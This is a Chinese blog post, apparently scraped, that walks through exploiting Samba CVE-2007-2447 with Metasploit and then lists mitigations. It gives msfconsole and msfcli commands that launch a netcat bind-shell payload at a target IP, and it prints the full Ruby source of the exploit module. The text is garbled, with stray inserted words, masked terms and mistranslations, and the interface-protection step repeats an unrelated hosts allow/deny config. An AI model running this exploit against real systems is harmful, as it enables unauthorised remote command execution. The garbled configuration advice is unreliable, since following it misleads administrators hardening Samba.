最近在学Metasploit×××测试,因此写一下这篇博客,但愿能帮助到在学或者遇到了这个漏洞×××的小伙伴们~~php
Username map script是Samba协议的一个漏洞,ID为CVE-2007-2447,属于远程命令注入漏洞,主要影响Samba的3.0.20到3.0.25rc3 版本。html
这个bug最初是针对匿名电话进行报告的到SamrChangePassword()MS-RPC功能组合中与“用户名映射脚本”smb.conf选项(不是默认启用)。通过Samba开发人员的进一步调查,结果以下肯定问题更普遍和影响远程打印机和文件共享管理。根缘由是传递经过MS-RPC提供的未通过滤的用户输入在调用定义的外部脚本时调用/ bin / sh
在smb.conf中。可是,与“用户名映射脚本”不一样,漏洞,远程文件和打印机管理脚本须要通过认证的用户会话。git
2007年5月7日:漏洞匿名披露到security@samba.org电子邮件列表中。
2007年5月7日:Samba的开发人员Gerald Carter开始响应这个漏洞。
2007年5月9日:Samba的开发者Jeremy Allison发布了补丁,用于iDefense测试。
2007年5月10日:向vendor-sec邮件列表发布通知。
2007年5月14日:公开漏洞信息。github
方式一:经过控制台shell
#进入metasploit控制台 msfconsole #选择usermap_script×××模块 use exploit/multi/samba/usermap_script #选择bind_netcat×××载荷 set payload cmd/unix/bind_netcat #设置目标地址 set RHOST 10.10.10.254 #设置目标端口 set RPORT 139 #执行××× exploit
方式二:经过msfclimsfcli multi/samba/usermap_script PAYLOAD=cmd/unix/bind_netcat RHOST=10.10.10.254 E
api
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SMB::Client # For our customized version of session_setup_no_ntlmssp CONST = Rex::Proto::SMB::Constants CRYPT = Rex::Proto::SMB::Crypt def initialize(info = {}) super(update_info(info, 'Name' => 'Samba "username map script" Command Execution', 'Description' => %q{ This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication! }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2007-2447' ], [ 'OSVDB', '34700' ], [ 'BID', '23972' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ], [ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => true, # root or nobody user 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', # *_perl and *_ruby work if they are installed # mileage may vary from system to system.. } }, 'Targets' => [ [ "Automatic", { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 14 2007')) register_options( [ Opt::RPORT(139) ]) end def exploit connect # lol? username = "/=`nohup " + payload.encoded + "`" begin simple.client.negotiate(false) simple.client.session_setup_no_ntlmssp(username, rand_text(16), datastore['SMBDomain'], false) rescue ::Timeout::Error, XCEPT::LoginError # nothing, it either worked or it didn't ;) end handler end end
方案一:限制并发链接的数量
当smbd做为守护进程(而不是inetd)启动时,Samba可以限制并发链接的数量。'max smbd processes'smb.conf选项容许管理员定义在任何给定时间点运行的smbd进程的最大数量。客户端链接到服务器的任何进一步尝试都将被拒绝。安全
方案二:使用基于主机的保护
在许多Samba安装中,最大的威胁来自您的直接网络以外。默认状况下,Samba将接受来自任何主机的链接,这意味着若是您在直接链接到Internet的主机上运行不安全版本的Samba,则可能会特别容易受到×××。
其中在这种状况下,最简单的修复是使用“主机容许”和“主机否定”桑巴smb.conf配置文件中,只容许从主机特定范围的访问您的服务器的选项。一个例子多是:ruby
hosts allow = 127.0.0.1 192.168.2.0/24 192.168.3.0/24
主机拒绝= 0.0.0.0/0
以上只会容许来自'localhost'(您本身的计算机)和两个专用网络192.168.2和192.168.3的SMB链接。客户端发送第一个数据包后,全部其余链接都将被拒绝链接。拒绝将被标记为“不听名称”错误。服务器
方案三:使用接口保护
默认状况下,Samba将接受它在系统上找到的任何网络接口上的链接。这意味着若是你有一条ISDN线路或PPP链接到互联网,那么Samba将接受这些链路上的链接。这可能不是你想要的。网络
您可使用如下选项更改此行为:
hosts allow = 127.0.0.1 192.168.2.0/24 192.168.3.0/24
hosts deny = 0.0.0.0/0
它告诉Samba只监听名称以'eth'开始的接口上的链接,如eth0,eth1,以及名为'lo'的回送接口。您须要使用的名称取决于您使用的操做系统。在上面我使用了Linux上的以太网适配器的通用名称。
若是您使用上述方法,而且有人尝试经过称为'ppp0'的PPP接口与主机创建SMB链接,则它们将得到TCP链接拒绝答复。在这种状况下,根本不会运行Samba代码,由于操做系统被告知不要将链接从该接口传递到任何进程。
方案四:使用防火墙
许多人使用防火墙拒绝访问他们不但愿暴露在网络以外的服务。这多是一个很是好的主意,但我建议将它与上述方法结合使用,以便即便防火墙因为某种缘由未处于活动状态而受到保护。
若是您正在设置防火墙,那么您须要知道容许和阻止哪些TCP和UDP端口。Samba使用如下内容:
UDP / 137 - 由nmbd
UDP / 138使用 - 由nmbd使用
TCP / 139 - 由smbd使用
TCP / 445 - 由smbd使用
最后一个很重要,由于许多旧的防火墙设置可能没有意识到,由于近年来这个端口只被添加到协议中。
方案五:使用IPC $共享拒绝
若是上述方法不合适,那么您还能够在最近发现的安全漏洞中使用的IPC $共享上放置更具体的拒绝。这容许您提供对其余共享的访问,同时拒绝可能不可信的主机访问IPC $。
要作到这一点,你可使用:
[ipc $]
hosts allow = 192.168.115.0/24 127.0.0.1
hosts deny = 0.0.0.0/0
这将告诉Samba,除了列出的两个地方(本地主机和本地子网)外,IPC $链接不能从任何地方被容许。与其余股份的链接仍将被容许。因为IPC $共享是惟一可匿名访问的共享,所以能够为不知道用户名/密码的×××者提供必定程度的保护。
若是你使用这种方法,那么客户端在尝试访问IPC $共享时将被授予“拒绝访问”的回复。这意味着这些客户端将没法浏览共享,也可能没法访问其余一些资源。
我不推荐这种方法,除非因为某种缘由不能使用上面列出的其余方法之一。
方案六:升级Samba我的认为是最好的方法~~~~